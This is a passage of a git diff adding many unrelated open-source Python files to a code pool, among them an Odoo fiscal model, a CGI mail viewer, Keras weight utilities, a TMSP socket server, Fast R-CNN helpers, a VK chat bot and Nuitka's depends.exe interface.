previous branch existing. + self._branch.Exists(self._branch_name).AndReturn(False) + cros_build_lib.RunCommandCaptureOutput(['repo', 'start', self._branch_name, + '.'], print_cmd=False, cwd='.') + self.mox.ReplayAll() + cros_mark_as_stable.GitBranch.Checkout(self._branch) + self.mox.VerifyAll() + + def testCheckoutNoCreate(self): + # Test init with previous branch existing. + self._branch.Exists(self._branch_name).AndReturn(True) + cros_build_lib.RunCommandCaptureOutput(['git', 'checkout', '-f', + self._branch_name], print_cmd=False, + cwd='.') + self.mox.ReplayAll() + cros_mark_as_stable.GitBranch.Checkout(self._branch) + self.mox.VerifyAll() + + def testExists(self): + branch = cros_mark_as_stable.GitBranch(self._branch_name, + self._target_manifest_branch, '.') + # Test if branch exists that is created + result = cros_build_lib.CommandResult(output=self._branch_name + '\n') + cros_build_lib.RunCommandCaptureOutput(['git', 'branch'], print_cmd=False, + cwd='.').AndReturn(result) + self.mox.ReplayAll() + self.assertTrue(branch.Exists()) + self.mox.VerifyAll() + + +if __name__ == '__main__': + cros_test_lib.main() diff --git a/pool/shard000/Python/0007811_cest.py b/pool/shard000/Python/0007811_cest.py new file mode 100644 index 0000000000000000000000000000000000000000..4ab87b0d642d546d6c0d0bd89add4461e29bf409 --- /dev/null +++ b/pool/shard000/Python/0007811_cest.py @@ -0,0 +1,70 @@ +# Copyright (C) 2013 Renato Lima - Akretion +# License AGPL-3 - See http://www.gnu.org/licenses/agpl-3.0.html + +from odoo import api, fields, models + +from ..constants.fiscal import CEST_SEGMENT +from ..tools import misc + + +class Cest(models.Model): + _name = 'l10n_br_fiscal.cest' + _inherit = 'l10n_br_fiscal.data.product.abstract' + _description = 'CEST' + + code = fields.Char( + size=9) + + code_unmasked = fields.Char( + size=7) + + name = fields.Text( + string='Name', + required=True, + index=True) + + item = fields.Char( + string='Item', + required=True) + + segment = fields.Selection( + selection=CEST_SEGMENT, + string='Segment', + required=True) + + product_tmpl_ids = fields.One2many( + inverse_name='cest_id') + + ncms = fields.Char( + string='NCM') + + ncm_ids = fields.Many2many( + comodel_name='l10n_br_fiscal.ncm', + relation='fiscal_cest_ncm_rel', + colunm1='cest_id', + colunm2='ncm_id', + readonly=True, + string='NCMs') + + @api.model + def create(self, values): + create_super = super(Cest, self).create(values) + if 'ncms' in values.keys(): + create_super.with_context(do_not_write=True).action_search_ncms() + return create_super + + @api.multi + def write(self, values): + write_super = super(Cest, self).write(values) + do_not_write = self.env.context.get('do_not_write') + if 'ncms' in values.keys() and not do_not_write: + self.with_context(do_not_write=True).action_search_ncms() + return write_super + + @api.multi + def action_search_ncms(self): + ncm = self.env['l10n_br_fiscal.ncm'] + for r in self: + if r.ncms: + domain = misc.domain_field_codes(field_codes=r.ncms) + r.ncm_ids = ncm.search(domain) diff --git a/pool/shard000/Python/0007812_testMatchGui.py b/pool/shard000/Python/0007812_testMatchGui.py new file mode 100644 index 0000000000000000000000000000000000000000..0b369845a2a7c1026e04710d991c67777ff81fe3 --- /dev/null +++ b/pool/shard000/Python/0007812_testMatchGui.py @@ -0,0 +1,18 @@ +import image +import api + +im = image.loadImage('test\\resource\\auto1_2_select_team.png') +t = api.loadImageByKey('TeamSelection', 'tag2Selected') + +center, v = image.matchTemplateExact(im, t) +tsize = image.getImageSize(t) +pt1 = (center[0] - tsize[0] // 2, + center[1] - tsize[1] // 2) +pt2 = (center[0] + tsize[0] // 2, + center[1] + tsize[1] // 2) +rst = image.drawBox(im, pt1, pt2) +image.showImage(rst) +image.waitKeyboard() +image.releaseAllWindows() +print(center) +print(v) diff --git a/pool/shard000/Python/0007814_0001_initial.py b/pool/shard000/Python/0007814_0001_initial.py new file mode 100644 index 0000000000000000000000000000000000000000..03e703edd2f096372185c2052acbaf21307b845a --- /dev/null +++ b/pool/shard000/Python/0007814_0001_initial.py @@ -0,0 +1,26 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.9.7 on 2016-07-08 15:45 +from __future__ import unicode_literals + +from django.db import migrations +import share.robot + + +class Migration(migrations.Migration): + + dependencies = [ + ('share', '0001_initial'), + ('djcelery', '0001_initial'), + ] + + operations = [ + migrations.RunPython( + code=share.robot.RobotUserMigration('ru.cyberleninka'), + ), + migrations.RunPython( + code=share.robot.RobotOauthTokenMigration('ru.cyberleninka'), + ), + migrations.RunPython( + code=share.robot.RobotScheduleMigration('ru.cyberleninka'), + ), + ] diff --git a/pool/shard000/Python/0007815_onViewListLink.py b/pool/shard000/Python/0007815_onViewListLink.py new file mode 100644 index 0000000000000000000000000000000000000000..78d31c4bf22381362e545d34e4fc774ee86de81c --- /dev/null +++ b/pool/shard000/Python/0007815_onViewListLink.py @@ -0,0 +1,54 @@ +#!/usr/bin/python +""" +################################################################################ +On user click of message link in main selection list: make mail view page; + +cgi.FieldStorage undoes any urllib.parse escapes in link's input parameters +(%xx and '+' for spaces already undone); in 2.0+ we only fetch 1 mail here, not +the entire list again; in 2.0+ we also find mail's main text part intelligently +instead of blindly displaying full text (with any attachments), and we generate +links to attachment files saved on the server; saved attachment files only work +for 1 user and 1 message; most 2.0 enhancements inherited from mailtools pkg; + +3.0: mailtools decodes the message's full-text bytes prior to email parsing; +3.0: for display, mailtools decodes main text, commonhtml decodes message hdrs; +################################################################################ +""" + +import cgi +import commonhtml, secret +from externs import mailtools +#commonhtml.dumpstatepage(0) + +def saveAttachments(message, parser, savedir='partsdownload'): + """ + save fetched email's parts to files on + server to be viewed in user's web browser + """ + import os + if not os.path.exists(savedir): # in CGI script's cwd on server + os.mkdir(savedir) # will open per your browser + for filename in os.listdir(savedir): # clean up last message: temp! + dirpath = os.path.join(savedir, filename) + os.remove(dirpath) + typesAndNames = parser.saveParts(savedir, message) + filenames = [fname for (ctype, fname) in typesAndNames] + for filename in filenames: + os.chmod(filename, 0o666) # some srvrs may need read/write + return filenames + +form = cgi.FieldStorage() +user, pswd, site = commonhtml.getstandardpopfields(form) +pswd = secret.decode(pswd) + +try: + msgnum = form['mnum'].value # from URL link + parser = mailtools.MailParser() + fetcher = mailtools.SilentMailFetcher(site, user, pswd) + fulltext = fetcher.downloadMessage(int(msgnum)) # don't eval! + message = parser.parseMessage(fulltext) # email pkg Message + parts = saveAttachments(message, parser) # for URL links + mtype, content = parser.findMainText(message) # first txt part + commonhtml.viewpage(msgnum, message, content, form, parts) # encoded pswd +except: + commonhtml.errorpage('Error loading message') diff --git a/pool/shard000/Python/0007817_save_load_utils.py b/pool/shard000/Python/0007817_save_load_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..71202c9e0ed8ce2411c0ca322caca44d146dd96f --- /dev/null +++ b/pool/shard000/Python/0007817_save_load_utils.py @@ -0,0 +1,107 @@ +import warnings + +import h5py +import keras.backend as K +from keras import optimizers +from keras.engine import saving + + +def save_all_weights(model, filepath, include_optimizer=True): + """ + Save model weights and optimizer weights but not configuration to a HDF5 file. + Functionally between `save` and `save_weights`. + + The HDF5 file contains: + - the model's weights + - the model's optimizer's state (if any) + If you have a complicated model or set of models that do not serialize + to JSON correctly, use this method. + # Arguments + model: Keras model instance to be saved. + filepath: String, path where to save the model. + include_optimizer: If True, save optimizer's state together. + # Raises + ImportError: if h5py is not available. + """ + if h5py is None: + raise ImportError('`save_all_weights` requires h5py.') + + with h5py.File(filepath, 'w') as f: + model_weights_group = f.create_group('model_weights') + model_layers = model.layers + saving.save_weights_to_hdf5_group(model_weights_group, model_layers) + + if include_optimizer and hasattr(model, 'optimizer') and model.optimizer: + if isinstance(model.optimizer, optimizers.TFOptimizer): + warnings.warn( + 'TensorFlow optimizers do not ' + 'make it possible to access ' + 'optimizer attributes or optimizer state ' + 'after instantiation. ' + 'As a result, we cannot save the optimizer ' + 'as part of the model save file.' + 'You will have to compile your model again after loading it. ' + 'Prefer using a Keras optimizer instead ' + '(see keras.io/optimizers).') + else: + # Save optimizer weights. + symbolic_weights = getattr(model.optimizer, 'weights') + if symbolic_weights: + optimizer_weights_group = f.create_group('optimizer_weights') + weight_values = K.batch_get_value(symbolic_weights) + weight_names = [] + for i, (w, val) in enumerate(zip(symbolic_weights, weight_values)): + # Default values of symbolic_weights is /variable for theano + if K.backend() == 'theano': + if hasattr(w, 'name') and w.name != "/variable": + name = str(w.name) + else: + name = 'param_' + str(i) + else: + if hasattr(w, 'name') and w.name: + name = str(w.name) + else: + name = 'param_' + str(i) + weight_names.append(name.encode('utf8')) + optimizer_weights_group.attrs['weight_names'] = weight_names + for name, val in zip(weight_names, weight_values): + param_dset = optimizer_weights_group.create_dataset( + name, + val.shape, + dtype=val.dtype) + if not val.shape: + # scalar + param_dset[()] = val + else: + param_dset[:] = val + + +def load_all_weights(model, filepath, include_optimizer=True): + """Loads the weights of a model saved via `save_all_weights`. + If model has been compiled, optionally load its optimizer's weights. + # Arguments + model: instantiated model with architecture matching the saved model. + Compile the model beforehand if you want to load optimizer weights. + filepath: String, path to the saved model. + # Returns + None. The model will have its weights updated. + # Raises + ImportError: if h5py is not available. + ValueError: In case of an invalid savefile. + """ + if h5py is None: + raise ImportError('`load_all_weights` requires h5py.') + + with h5py.File(filepath, mode='r') as f: + # set weights + saving.load_weights_from_hdf5_group(f['model_weights'], model.layers) + # Set optimizer weights. + if (include_optimizer + and 'optimizer_weights' in f and hasattr(model, 'optimizer') + and model.optimizer): + optimizer_weights_group = f['optimizer_weights'] + optimizer_weight_names = [n.decode('utf8') for n in + optimizer_weights_group.attrs['weight_names']] + optimizer_weight_values = [optimizer_weights_group[n] for n in + optimizer_weight_names] + model.optimizer.set_weights(optimizer_weight_values) diff --git a/pool/shard000/Python/0007820_server.py b/pool/shard000/Python/0007820_server.py new file mode 100644 index 0000000000000000000000000000000000000000..03735bb378dec7e6c8871c928b3d5dce6a60d18b --- /dev/null +++ b/pool/shard000/Python/0007820_server.py @@ -0,0 +1,196 @@ +import socket +import select +import sys +import logging + +from .wire import decode_varint, encode +from .reader import BytesBuffer +from .msg import RequestDecoder, message_types + +# hold the asyncronous state of a connection +# ie. we may not get enough bytes on one read to decode the message + +logger = logging.getLogger(__name__) + +class Connection(): + + def __init__(self, fd, app): + self.fd = fd + self.app = app + self.recBuf = BytesBuffer(bytearray()) + self.resBuf = BytesBuffer(bytearray()) + self.msgLength = 0 + self.decoder = RequestDecoder(self.recBuf) + self.inProgress = False # are we in the middle of a message + + def recv(this): + data = this.fd.recv(1024) + if not data: # what about len(data) == 0 + raise IOError("dead connection") + this.recBuf.write(data) + +# TMSP server responds to messges by calling methods on the app + +class TMSPServer(): + + def __init__(self, app, port=5410): + self.app = app + # map conn file descriptors to (app, reqBuf, resBuf, msgDecoder) + self.appMap = {} + + self.port = port + self.listen_backlog = 10 + + self.listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.listener.setblocking(0) + self.listener.bind(('', port)) + + self.listener.listen(self.listen_backlog) + + self.shutdown = False + + self.read_list = [self.listener] + self.write_list = [] + + def handle_new_connection(self, r): + new_fd, new_addr = r.accept() + new_fd.setblocking(0) # non-blocking + self.read_list.append(new_fd) + self.write_list.append(new_fd) + print('new connection to', new_addr) + + self.appMap[new_fd] = Connection(new_fd, self.app) + + def handle_conn_closed(self, r): + self.read_list.remove(r) + self.write_list.remove(r) + r.close() + print("connection closed") + + def handle_recv(self, r): + # app, recBuf, resBuf, conn + conn = self.appMap[r] + while True: + try: + print("recv loop") + # check if we need more data first + if conn.inProgress: + if (conn.msgLength == 0 or conn.recBuf.size() < conn.msgLength): + conn.recv() + else: + if conn.recBuf.size() == 0: + conn.recv() + + conn.inProgress = True + + # see if we have enough to get the message length + if conn.msgLength == 0: + ll = conn.recBuf.peek() + if conn.recBuf.size() < 1 + ll: + # we don't have enough bytes to read the length yet + return + print("decoding msg length") + conn.msgLength = decode_varint(conn.recBuf) + + # see if we have enough to decode the message + if conn.recBuf.size() < conn.msgLength: + return + + # now we can decode the message + + # first read the request type and get the particular msg + # decoder + typeByte = conn.recBuf.read(1) + typeByte = int(typeByte[0]) + resTypeByte = typeByte + 0x10 + req_type = message_types[typeByte] + + if req_type == "flush": + # messages are length prefixed + conn.resBuf.write(encode(1)) + conn.resBuf.write([resTypeByte]) + conn.fd.send(conn.resBuf.buf) + conn.msgLength = 0 + conn.inProgress = False + conn.resBuf = BytesBuffer(bytearray()) + return + + decoder = getattr(conn.decoder, req_type) + + print("decoding args") + req_args = decoder() + print("got args", req_args) + + # done decoding message + conn.msgLength = 0 + conn.inProgress = False + + req_f = getattr(conn.app, req_type) + if req_args is None: + res = req_f() + elif isinstance(req_args, tuple): + res = req_f(*req_args) + else: + res = req_f(req_args) + + if isinstance(res, tuple): + res, ret_code = res + else: + ret_code = res + res = None + + print("called", req_type, "ret code:", ret_code, 'res:', res) + if ret_code != 0: + print("non-zero retcode:", ret_code) + + if req_type in ("echo", "info"): # these dont return a ret code + enc = encode(res) + # messages are length prefixed + conn.resBuf.write(encode(len(enc) + 1)) + conn.resBuf.write([resTypeByte]) + conn.resBuf.write(enc) + else: + enc, encRet = encode(res), encode(ret_code) + # messages are length prefixed + conn.resBuf.write(encode(len(enc) + len(encRet) + 1)) + conn.resBuf.write([resTypeByte]) + conn.resBuf.write(encRet) + conn.resBuf.write(enc) + except IOError as e: + print("IOError on reading from connection:", e) + self.handle_conn_closed(r) + return + except Exception as e: + logger.exception("error reading from connection") + self.handle_conn_closed(r) + return + + def main_loop(self): + while not self.shutdown: + r_list, w_list, _ = select.select( + self.read_list, self.write_list, [], 2.5) + + for r in r_list: + if (r == self.listener): + try: + self.handle_new_connection(r) + # undo adding to read list ... + except NameError as e: + print("Could not connect due to NameError:", e) + except TypeError as e: + print("Could not connect due to TypeError:", e) + except: + print("Could not connect due to unexpected error:", sys.exc_info()[0]) + else: + self.handle_recv(r) + + def handle_shutdown(self): + for r in self.read_list: + r.close() + for w in self.write_list: + try: + w.close() + except Exception as e: + print(e) # TODO: add logging + self.shutdown = True diff --git a/pool/shard000/Python/0007821_roidb.py b/pool/shard000/Python/0007821_roidb.py new file mode 100644 index 0000000000000000000000000000000000000000..ed21285d44dbdb7a160bcfc6809dbf72a0afac90 --- /dev/null +++ b/pool/shard000/Python/0007821_roidb.py @@ -0,0 +1,148 @@ +# -------------------------------------------------------- +# Fast R-CNN +# Copyright (c) 2015 Microsoft +# Licensed under The MIT License [see LICENSE for details] +# Written by Ross Girshick +# -------------------------------------------------------- + +"""Transform a roidb into a trainable roidb by adding a bunch of metadata.""" + +import numpy as np + +import PIL + +# TODO: make fast_rcnn irrelevant +# >>>> obsolete, because it depends on sth outside of this project +from ..fast_rcnn.config import cfg +from ..fast_rcnn.bbox_transform import bbox_transform +# <<<< obsolete +from ..utils.cython_bbox import bbox_overlaps + +def prepare_roidb(imdb): + """Enrich the imdb's roidb by adding some derived quantities that + are useful for training. This function precomputes the maximum + overlap, taken over ground-truth boxes, between each ROI and + each ground-truth box. The class with maximum overlap is also + recorded. + """ + sizes = [PIL.Image.open(imdb.image_path_at(i)).size + for i in range(imdb.num_images)] + roidb = imdb.roidb + for i in range(len(imdb.image_index)): + roidb[i]['image'] = imdb.image_path_at(i) + roidb[i]['width'] = sizes[i][0] + roidb[i]['height'] = sizes[i][1] + # need gt_overlaps as a dense array for argmax + gt_overlaps = roidb[i]['gt_overlaps'].toarray() + # max overlap with gt over classes (columns) + max_overlaps = gt_overlaps.max(axis=1) + # gt class that had the max overlap + max_classes = gt_overlaps.argmax(axis=1) + roidb[i]['max_classes'] = max_classes + roidb[i]['max_overlaps'] = max_overlaps + # sanity checks + # max overlap of 0 => class should be zero (background) + zero_inds = np.where(max_overlaps == 0)[0] + assert all(max_classes[zero_inds] == 0) + # max overlap > 0 => class should not be zero (must be a fg class) + nonzero_inds = np.where(max_overlaps > 0)[0] + assert all(max_classes[nonzero_inds] != 0) + +def add_bbox_regression_targets(roidb): + """ + Add information needed to train bounding-box regressors. + For each roi find the corresponding gt box, and compute the distance. + then normalize the distance into Gaussian by minus mean and divided by std + """ + assert len(roidb) > 0 + assert 'max_classes' in roidb[0], 'Did you call prepare_roidb first?' + + num_images = len(roidb) + # Infer number of classes from the number of columns in gt_overlaps + num_classes = roidb[0]['gt_overlaps'].shape[1] + for im_i in range(num_images): + rois = roidb[im_i]['boxes'] + max_overlaps = roidb[im_i]['max_overlaps'] + max_classes = roidb[im_i]['max_classes'] + roidb[im_i]['bbox_targets'] = \ + _compute_targets(rois, max_overlaps, max_classes) + + if cfg.TRAIN.BBOX_NORMALIZE_TARGETS_PRECOMPUTED: + # Use fixed / precomputed "means" and "stds" instead of empirical values + means = np.tile( + np.array(cfg.TRAIN.BBOX_NORMALIZE_MEANS), (num_classes, 1)) + stds = np.tile( + np.array(cfg.TRAIN.BBOX_NORMALIZE_STDS), (num_classes, 1)) + else: + # Compute values needed for means and stds + # var(x) = E(x^2) - E(x)^2 + class_counts = np.zeros((num_classes, 1)) + cfg.EPS + sums = np.zeros((num_classes, 4)) + squared_sums = np.zeros((num_classes, 4)) + for im_i in range(num_images): + targets = roidb[im_i]['bbox_targets'] + for cls in range(1, num_classes): + cls_inds = np.where(targets[:, 0] == cls)[0] + if cls_inds.size > 0: + class_counts[cls] += cls_inds.size + sums[cls, :] += targets[cls_inds, 1:].sum(axis=0) + squared_sums[cls, :] += \ + (targets[cls_inds, 1:] ** 2).sum(axis=0) + + means = sums / class_counts + stds = np.sqrt(squared_sums / class_counts - means ** 2) + # too small number will cause nan error + assert np.min(stds) < 0.01, \ + 'Boxes std is too small, std:{}'.format(stds) + + print('bbox target means:') + print(means) + print(means[1:, :].mean(axis=0)) # ignore bg class + print('bbox target stdevs:') + print(stds) + print(stds[1:, :].mean(axis=0)) # ignore bg class + + # Normalize targets + if cfg.TRAIN.BBOX_NORMALIZE_TARGETS: + print("Normalizing targets") + for im_i in range(num_images): + targets = roidb[im_i]['bbox_targets'] + for cls in range(1, num_classes): + cls_inds = np.where(targets[:, 0] == cls)[0] + roidb[im_i]['bbox_targets'][cls_inds, 1:] -= means[cls, :] + roidb[im_i]['bbox_targets'][cls_inds, 1:] /= stds[cls, :] + else: + print("NOT normalizing targets") + + # These values will be needed for making predictions + # (the predicts will need to be unnormalized and uncentered) + return means.ravel(), stds.ravel() + +def _compute_targets(rois, overlaps, labels): + """ + Compute bounding-box regression targets for an image. + for each roi find the corresponding gt_box, then compute the distance. + """ + # Indices of ground-truth ROIs + gt_inds = np.where(overlaps == 1)[0] + if len(gt_inds) == 0: + # Bail if the image has no ground-truth ROIs + return np.zeros((rois.shape[0], 5), dtype=np.float32) + # Indices of examples for which we try to make predictions + ex_inds = np.where(overlaps >= cfg.TRAIN.BBOX_THRESH)[0] + + # Get IoU overlap between each ex ROI and gt ROI + ex_gt_overlaps = bbox_overlaps( + np.ascontiguousarray(rois[ex_inds, :], dtype=np.float), + np.ascontiguousarray(rois[gt_inds, :], dtype=np.float)) + + # Find which gt ROI each ex ROI has max overlap with: + # this will be the ex ROI's gt target + gt_assignment = ex_gt_overlaps.argmax(axis=1) + gt_rois = rois[gt_inds[gt_assignment], :] + ex_rois = rois[ex_inds, :] + + targets = np.zeros((rois.shape[0], 5), dtype=np.float32) + targets[ex_inds, 0] = labels[ex_inds] + targets[ex_inds, 1:] = bbox_transform(ex_rois, gt_rois) + return targets diff --git a/pool/shard000/Python/0007823_main.py b/pool/shard000/Python/0007823_main.py new file mode 100644 index 0000000000000000000000000000000000000000..060031f609bd0907e5d50b929f5b6c5d88f3cc52 --- /dev/null +++ b/pool/shard000/Python/0007823_main.py @@ -0,0 +1,90 @@ +#!/usr/bin/env python3 +#-*- coding: UTF-8 -*- +import vk, os +from time import sleep +import requests as req +from lxml import html +from random import randint + +def bash(id, mode='u'): + try: + r = req.get('http://bash.im/random') + doc = html.document_fromstring(r.text) + bash = '\n'.join(doc.xpath('//*[@id="body"]/div[3]/div[@class="text"]/text()')) + if mode == 'c': + vkapi.messages.send(chat_id=id, message=bash) + else: + vkapi.messages.send(user_id=id, message=bash) + except Exception as e: + print(e) + +def cgra(id, mode='u'): + try: + r = req.get('http://codeguida.com/') + doc = html.document_fromstring(r.text) + last_article = doc.xpath('/html/body/div[3]/section/div[1]/div[1]/article[1]/div/a/@href')[0] + last_id = int(last_article.split('/')[-2]) + random_id = randint(1, last_id) + r = req.get('http://codeguida.com/post/{}/'.format(random_id)) + doc = html.document_fromstring(r.text) + title = doc.xpath('/html/body/div[3]/div[2]/section/h1/text()')[0] + message = '{0}\n\nhttp://codeguida.com/post/{1}/'.format(title, random_id) + if mode == 'c': + vkapi.messages.send(chat_id=id, message=message) + else: + vkapi.messages.send(user_id=id, message=message) + except Exception as e: + print(e) + +def print_help(id, mode='u'): + try: + message = """=== System \"Enotik\" === + Available commands: + _9989; ~bash~ -- random quote from bash.im + _9989; ~cgra~ -- random article from Codeguida + _9989; ~help~ -- show this help + + Author: OlegWock, 2015, specifically for Codeguida""" + if mode == 'c': + vkapi.messages.send(chat_id=id, message=message) + else: + vkapi.messages.send(user_id=id, message=message) + except Exception as e: + print(e) + + +# Авторизація +vkapi = vk.EnterCaptchaAPI(access_token=os.environ["VK_TOKEN"]) + +messages = vkapi.messages.get(count=1) +last = messages['items'][0]['id'] + +while True: + try: + messages = vkapi.messages.get(last_message_id=last, timeout=5) + except Exception as e: + print(e) + sleep(4) + continue + if not messages['items']: + sleep(4) + continue + last = messages['items'][0]['id'] + for message in messages['items']: + if "~bash~" in message['body']: + if 'chat_id' in message: + bash(message['chat_id'], 'c') + else: + bash(message['user_id']) + if "~cgra~" in message['body']: + if 'chat_id' in message: + cgra(message['chat_id'], 'c') + else: + cgra(message['user_id']) + if "~help~" in message['body']: + if 'chat_id' in message: + print_help(message['chat_id'], 'c') + else: + print_help(message['user_id']) + sleep(4) + \ No newline at end of file diff --git a/pool/shard000/Python/0007824_python273_altinstall.py b/pool/shard000/Python/0007824_python273_altinstall.py new file mode 100644 index 0000000000000000000000000000000000000000..75dd68a1bbfef5373a5bf8624c393a3f50005b75 --- /dev/null +++ b/pool/shard000/Python/0007824_python273_altinstall.py @@ -0,0 +1,84 @@ +#!/usr/bin/python2.6 + +import sys +import os +import datetime +import datestring_functions +import redhat.pythonsetup +import redhat.altinstall + +# NOTE: +# This script is meant to be run under Python 2.6.6 (the default version on +# RHEL 6 x64) in order to make and install Python 2.7.3 as an altinstall. + +def logfile_open(scripttype): + """ + Returns an open logfile with a timestamp. It is left to the + calling function to write to the file and close it. + + This function will terminate the calling function if an IOError + occurs while opening the file. + + Parameters: + 1. scripttype: A string describing the installation script + that is being run. + """ + rundir = os.getcwd() + logsdir = "/install/logs/" + prefix = "install_" + scripttype + "_" + dt = datetime.datetime + date_suffix = "null" + try: + date_suffix = datestring_functions.datestring(dt) + except ValueError as ve: + print "ValueError:\n %s" % ve + print "Bad datetime object, could not generate logfile name." + print "Script will terminate." + exit(1) + # Assumes rundir is not terminated with a "/" + logfile_path = rundir + logsdir + prefix + date_suffix + ".log" + + try: + logfile = open(logfile_path, 'w') + return logfile + except IOError as ioe: + print "IOError:\n %s" % ioe + print "Could not open logfile at %s for writing." % logfile_path + print "Script will terminate." + exit(1) + +def scriptrunner(scripttype, logfile): + """ + Chooses and runs an installation script, and which logfile + that script will write its output to. + + Parameters: + 1. scripttype: A string describing the installation script + that is being run. + Supported values: "pythonsetup", "altinstall" + 2. logfile: The logfile to pass to the installation script. + """ + if scripttype == "pythonsetup": + logfile = redhat.pythonsetup.run(logfile) + elif scripttype == "altinstall": + logfile = redhat.altinstall.run(logfile) + else: + logfile.write("Error: python273_altinstall.py invoked with invalid command: %s" % scripttype) + print "Error: python273_altinstall.py invoked with invalid command: %s" % scripttype + return logfile + +def main(): + if len(sys.argv) != 2: + print "Usage: python273_altinstall.py < --pythonsetup | --altinstall >" + print "--pythonsetup: Install packages needed to build Python 2.7.3 from source." + print "--altinstall: Build and install Python 2.7.3 as an altinstall." + else: + args = sys.argv[1:] + scripttype = args[0].strip()[2:] + + logfile = logfile_open(scripttype) + logfile = scriptrunner(scripttype,logfile) + logfile.close() + +if __name__ == '__main__': + main() diff --git a/pool/shard000/Python/0007829_DependsExe.py b/pool/shard000/Python/0007829_DependsExe.py new file mode 100644 index 0000000000000000000000000000000000000000..915f346b86e79ed5ef8df8c05bddbc38498da09b --- /dev/null +++ b/pool/shard000/Python/0007829_DependsExe.py @@ -0,0 +1,192 @@ +# Copyright 2021, Kay Hayen, mailto:kay.hayen@gmail.com +# +# Part of "Nuitka", an optimizing Python compiler that is compatible and +# integrates with CPython, but also works on its own. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +""" Interface to depends.exe on Windows. + +We use depends.exe to investigate needed DLLs of Python DLLs. + +""" + +import os +import subprocess + +from nuitka.containers.oset import OrderedSet +from nuitka.Options import assumeYesForDownloads +from nuitka.Tracing import inclusion_logger +from nuitka.utils.Download import getCachedDownload +from nuitka.utils.Execution import getNullInput +from nuitka.utils.FileOperations import ( + deleteFile, + getExternalUsePath, + getFileContentByLine, + withFileLock, +) +from nuitka.utils.Utils import getArchitecture + + +def getDependsExePath(): + """Return the path of depends.exe (for Windows). + + Will prompt the user to download if not already cached in AppData + directory for Nuitka. + """ + if getArchitecture() == "x86": + depends_url = "https://dependencywalker.com/depends22_x86.zip" + else: + depends_url = "https://dependencywalker.com/depends22_x64.zip" + + return getCachedDownload( + url=depends_url, + is_arch_specific=True, + binary="depends.exe", + flatten=True, + specifity="", # Note: If there ever was an update, put version here. + message="""\ +Nuitka will make use of Dependency Walker (https://dependencywalker.com) tool +to analyze the dependencies of Python extension modules.""", + reject="Nuitka does not work in --standalone or --onefile on Windows without.", + assume_yes_for_downloads=assumeYesForDownloads(), + ) + + +def _parseDependsExeOutput2(lines): + result = OrderedSet() + + inside = False + first = False + + for line in lines: + if "| Module Dependency Tree |" in line: + inside = True + first = True + continue + + if not inside: + continue + + if "| Module List |" in line: + break + + if "]" not in line: + continue + + dll_filename = line[line.find("]") + 2 :].rstrip() + dll_filename = os.path.normcase(dll_filename) + + # Skip DLLs that failed to load, apparently not needed anyway. + if "E" in line[: line.find("]")]: + continue + + # Skip missing DLLs, apparently not needed anyway. + if "?" in line[: line.find("]")]: + # One exception are PythonXY.DLL + if dll_filename.startswith("python") and dll_filename.endswith(".dll"): + dll_filename = os.path.join( + os.environ["SYSTEMROOT"], + "SysWOW64" if getArchitecture() == "x86_64" else "System32", + dll_filename, + ) + dll_filename = os.path.normcase(dll_filename) + else: + continue + + dll_filename = os.path.abspath(dll_filename) + + dll_name = os.path.basename(dll_filename) + + # Ignore this runtime DLL of Python2, will be coming via manifest. + if dll_name in ("msvcr90.dll",): + continue + + # The executable itself is of course exempted. We cannot check its path + # because depends.exe mistreats unicode paths. + if first: + first = False + continue + + assert os.path.isfile(dll_filename), (dll_filename, line) + + result.add(os.path.normcase(os.path.abspath(dll_filename))) + + return result + + +def parseDependsExeOutput(filename): + return _parseDependsExeOutput2(getFileContentByLine(filename, encoding="latin1")) + + +def detectDLLsWithDependencyWalker(binary_filename, scan_dirs): + dwp_filename = binary_filename + ".dwp" + output_filename = binary_filename + ".depends" + + # User query should only happen once if at all. + with withFileLock( + "Finding out dependency walker path and creating DWP file for %s" + % binary_filename + ): + depends_exe = getDependsExePath() + + # Note: Do this under lock to avoid forked processes to hold + # a copy of the file handle on Windows. + with open(dwp_filename, "w") as dwp_file: + dwp_file.write( + """\ +%(scan_dirs)s +SxS +""" + % { + "scan_dirs": "\n".join( + "UserDir %s" % getExternalUsePath(dirname) + for dirname in scan_dirs + ) + } + ) + + # Starting the process while locked, so file handles are not duplicated. + depends_exe_process = subprocess.Popen( + ( + depends_exe, + "-c", + "-ot%s" % output_filename, + "-d:%s" % dwp_filename, + "-f1", + "-pa1", + "-ps1", + binary_filename, + ), + stdin=getNullInput(), + cwd=getExternalUsePath(os.getcwd()), + ) + + # TODO: Exit code should be checked. + depends_exe_process.wait() + + if not os.path.exists(output_filename): + inclusion_logger.sysexit( + "Error, depends.exe failed to produce expected output." + ) + + # Opening the result under lock, so it is not getting locked by new processes. + + # Note: Do this under lock to avoid forked processes to hold + # a copy of the file handle on Windows. + result = parseDependsExeOutput(output_filename) + + deleteFile(output_filename, must_exist=True) + deleteFile(dwp_filename, must_exist=True) + + return result diff --git a/pool/shard000/Python/0007835_extractor_xpath.py b/pool/shard000/Python/0007835_extractor_xpath.py new file mode 100644 index 0000000000000000000000000000000000000000..a1a78676b87e0f98fb402c4ea7a27e2f051ffb7a --- /dev/null +++ b/pool/shard000/Python/0007835_extractor_xpath.py @@ -0,0 +1,30 @@ + +from xcrawler.pythonutils.converters.string_converter import StringConverter +from xcrawler.collections.collection_factory import CollectionFactory + + +class ExtractorXPath(object): + """Extracts data from an instance of an Element object with XPath expressions. + + Attributes: + root_element (Element): an instance of an Element object that contains nested Elements. + collection_factory (CollectionFactory): creates a collection of the specified type. + string_converter(StringConverter): converts a string to an unicode string. + """ + def __init__(self, + root_element=None, + collection_factory=CollectionFactory(), + string_converter=StringConverter()): + self.root_element = root_element + self.collection_factory = collection_factory + self.string_converter = string_converter + + def xpath(self, path): + """ + :param path: the XPath expression. + :returns: a FallbackList of elements that match the XPath expression. + """ + path = self.string_converter.convert_to_unicode_string(path) + result = self.root_element.xpath(path) + result = self.collection_factory.create_fallback_list(result) + return result diff --git a/pool/shard000/Python/0007839_urls.py 